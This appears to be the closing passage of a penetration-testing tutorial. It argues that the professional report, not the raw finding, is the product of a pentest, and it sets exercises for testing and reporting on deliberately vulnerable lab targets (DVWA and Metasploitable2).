Here's what I mean by that. An amateur hacker finds a SQL injection, extracts the database, takes a screenshot, and writes "SQL injection found, fix it." A professional pentester finds the same SQL injection, measures its CVSS score, traces the data exposure through to business impact, chains it with password reuse to demonstrate server compromise, writes clear reproduction steps with evidence, provides a specific code fix with effort estimate, and delivers it in a report that management can act on and developers can implement.
The finding is the same. The DELIVERY is completely different. And the delivery is what creates value for the client. The report is the product. Everything else is just research ;-)
Het rapport is het product. Alles daarvoor is research.
Exercises
Exercise 1: Run a complete pentest against DVWA + Metasploitable2 using the methodology from this episode. Cover all 5 phases. Produce a findings table with at least 10 vulnerabilities, each rated by CVSS severity. Save your notes in ~/lab-notes/full-pentest-notes.txt.
Exercise 2: Write a professional pentest report for your lab findings. Include: executive summary (1 paragraph), findings table (vulnerability, severity, location), and 3 detailed finding write-ups with reproduction steps, impact analysis, evidence (copy the requests/responses), and remediation recommendations. Save as ~/lab-notes/pentest-report.md.
Exercise 3: Create a vulnerability chain that demonstrates escalation from a low-severity finding to critical impact. Start with any low/medium finding from your pentest and chain it with other findings until you achieve either RCE or full database access. Document each step in the chain and explain how the individual findings' severities change when combined.